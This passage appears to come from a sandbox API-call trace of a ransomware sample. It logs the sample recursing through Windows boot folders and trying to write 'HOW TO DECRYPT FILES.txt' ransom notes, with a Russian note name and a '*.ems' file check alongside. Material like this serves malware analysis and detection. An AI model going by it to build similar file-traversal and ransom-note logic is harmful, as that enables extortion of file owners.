ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.148] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.149] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0125.149] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0125.149] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0125.149] lstrcmpA (lpString1=".", lpString2="Fonts") returned -1 [0125.149] lstrcmpA (lpString1="..", lpString2="Fonts") returned -1 [0125.149] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\*.*") returned="*.*" [0125.149] lstrcatA (in: lpString1="C:\\Windows\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Windows\\Boot\\Fonts") returned="C:\\Windows\\Boot\\Fonts" [0125.149] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\Fonts\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.149] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.149] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.149] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.149] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.150] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x645f529f, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x645f529f, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0125.150] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chs_boot.ttf") returned 1 [0125.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chs_boot.ttf") returned 1 [0125.150] lstrcmpiA (lpString1="", lpString2="chs_boot.ttf") returned -1 [0125.150] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\Fonts\\*.*") returned="*.*" [0125.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\Fonts\\" | out: lpString1="C:\\Windows\\Boot\\Fonts\\") returned="C:\\Windows\\Boot\\Fonts\\" [0125.150] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\Fonts\\" | out: pszPath="C:\\Windows\\Boot\\Fonts\\") returned="" [0125.150] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0125.150] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0125.150] CreateFileA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.150] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.151] CloseHandle (hObject=0xffffffff) returned 0 [0125.151] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Windows\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Windows\\Boot\\Fonts\\chs_boot.ttf" [0125.151] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ems") returned 0 [0125.151] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf460d3a5, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf460d3a5, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0125.151] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.151] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cht_boot.ttf") returned 1 [0125.151] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cht_boot.ttf") returned 1 [0125.151] lstrcmpiA (lpString1="", lpString2="cht_boot.ttf") returned -1 [0125.151] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\Fonts\\chs_boot.ttf") returned="chs_boot.ttf" [0125.151] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\Fonts\\" | out: lpString1="C:\\Windows\\Boot\\Fonts\\") returned="C:\\Windows\\Boot\\Fonts\\" [0125.151] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\Fonts\\" | out: pszPath="C:\\Windows\\Boot\\Fonts\\") returned="" [0125.151] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0125.151] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0125.151] CreateFileA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.152] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.152] CloseHandle (hObject=0xffffffff) returned 0 [0125.152] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Windows\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Windows\\Boot\\Fonts\\cht_boot.ttf" [0125.152] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ems") returned 0 [0125.152] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4894ad2, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4894ad2, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0125.152] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.152] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jpn_boot.ttf") returned -1 [0125.152] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jpn_boot.ttf") returned -1 [0125.152] lstrcmpiA (lpString1="", lpString2="jpn_boot.ttf") returned -1 [0125.152] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\Fonts\\cht_boot.ttf") returned="cht_boot.ttf" [0125.152] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\Fonts\\" | out: lpString1="C:\\Windows\\Boot\\Fonts\\") returned="C:\\Windows\\Boot\\Fonts\\" [0125.152] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\Fonts\\" | out: pszPath="C:\\Windows\\Boot\\Fonts\\") returned="" [0125.152] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0125.153] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0125.153] CreateFileA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.153] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.153] CloseHandle (hObject=0xffffffff) returned 0 [0125.153] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Windows\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Windows\\Boot\\Fonts\\jpn_boot.ttf" [0125.153] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ems") returned 0 [0125.153] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4a11874, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4a11874, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0125.153] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="kor_boot.ttf") returned -1 [0125.154] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="kor_boot.ttf") returned -1 [0125.154] lstrcmpiA (lpString1="", lpString2="kor_boot.ttf") returned -1 [0125.154] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\Fonts\\jpn_boot.ttf") returned="jpn_boot.ttf" [0125.154] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\Fonts\\" | out: lpString1="C:\\Windows\\Boot\\Fonts\\") returned="C:\\Windows\\Boot\\Fonts\\" [0125.154] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\Fonts\\" | out: pszPath="C:\\Windows\\Boot\\Fonts\\") returned="" [0125.154] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0125.154] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0125.154] CreateFileA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.154] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.154] CloseHandle (hObject=0xffffffff) returned 0 [0125.154] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Windows\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Windows\\Boot\\Fonts\\kor_boot.ttf" [0125.154] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ems") returned 0 [0125.155] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c72e44, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4c72e44, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0125.155] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wgl4_boot.ttf") returned -1 [0125.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wgl4_boot.ttf") returned -1 [0125.155] lstrcmpiA (lpString1="", lpString2="wgl4_boot.ttf") returned -1 [0125.155] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\Fonts\\kor_boot.ttf") returned="kor_boot.ttf" [0125.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\Fonts\\" | out: lpString1="C:\\Windows\\Boot\\Fonts\\") returned="C:\\Windows\\Boot\\Fonts\\" [0125.155] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\Fonts\\" | out: pszPath="C:\\Windows\\Boot\\Fonts\\") returned="" [0125.155] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0125.155] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0125.155] CreateFileA (lpFileName="C:\\Windows\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.156] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.156] CloseHandle (hObject=0xffffffff) returned 0 [0125.156] lstrcatA (in: lpString1="C:\\Windows\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Windows\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Windows\\Boot\\Fonts\\wgl4_boot.ttf" [0125.156] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ems") returned 0 [0125.156] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.157] lstrcmpA (lpString1=".", lpString2="PCAT") returned -1 [0125.157] lstrcmpA (lpString1="..", lpString2="PCAT") returned -1 [0125.157] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\*.*") returned="*.*" [0125.157] lstrcatA (in: lpString1="C:\\Windows\\Boot\\", lpString2="PCAT" | out: lpString1="C:\\Windows\\Boot\\PCAT") returned="C:\\Windows\\Boot\\PCAT" [0125.157] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e4fb0c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e4fb0c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0125.183] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.183] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.183] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.183] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.183] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr") returned 1 [0125.183] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr") returned 1 [0125.184] lstrcmpiA (lpString1="", lpString2="bootmgr") returned -1 [0125.184] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.184] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\") returned="C:\\Windows\\Boot\\PCAT\\" [0125.184] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\") returned="" [0125.184] lstrcatA (in: lpString1="C:\\Windows\\Boot\\PCAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\PCAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\PCAT\\HOW TO DECRYPT FILES.txt" [0125.184] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\pcat\\how to decrypt files.txt")) returned 0xffffffff [0125.184] CreateFileA (lpFileName="C:\\Windows\\Boot\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\pcat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.184] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.184] CloseHandle (hObject=0xffffffff) returned 0 [0125.185] lstrcatA (in: lpString1="C:\\Windows\\Boot\\PCAT\\", lpString2="bootmgr" | out: lpString1="C:\\Windows\\Boot\\PCAT\\bootmgr") returned="C:\\Windows\\Boot\\PCAT\\bootmgr" [0125.185] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\PCAT\\bootmgr", pszSpec="*.ems") returned 0 [0125.185] lstrcmpA (lpString1=".", lpString2="cs-CZ") returned -1 [0125.185] lstrcmpA (lpString1="..", lpString2="cs-CZ") returned -1 [0125.185] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\bootmgr") returned="bootmgr" [0125.185] lstrcatA (in: lpString1="C:\\Windows\\Boot\\PCAT\\", lpString2="cs-CZ" | out: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ") returned="C:\\Windows\\Boot\\PCAT\\cs-CZ" [0125.185] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.185] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.186] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.186] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.186] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.186] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.186] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.186] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.186] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\cs-CZ\\*.*") returned="*.*" [0125.186] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\cs-CZ\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ\\") returned="C:\\Windows\\Boot\\PCAT\\cs-CZ\\" [0125.186] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\cs-CZ\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\cs-CZ\\") returned="" [0125.186] lstrcatA (in: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\PCAT\\cs-CZ\\HOW TO DECRYPT FILES.txt" [0125.186] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\pcat\\cs-cz\\how to decrypt files.txt")) returned 0xffffffff [0125.186] CreateFileA (lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\pcat\\cs-cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.187] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.187] CloseHandle (hObject=0xffffffff) returned 0 [0125.187] lstrcatA (in: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Windows\\Boot\\PCAT\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Windows\\Boot\\PCAT\\cs-CZ\\bootmgr.exe.mui" [0125.187] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\PCAT\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0125.187] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.187] lstrcmpA (lpString1=".", lpString2="da-DK") returned -1 [0125.187] lstrcmpA (lpString1="..", lpString2="da-DK") returned -1 [0125.187] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.188] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\da-DK\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.188] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.188] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.188] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.188] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.188] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.188] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\da-DK\\*.*") returned="*.*" [0125.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\da-DK\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\da-DK\\") returned="C:\\Windows\\Boot\\PCAT\\da-DK\\" [0125.188] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\da-DK\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\da-DK\\") returned="" [0125.190] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 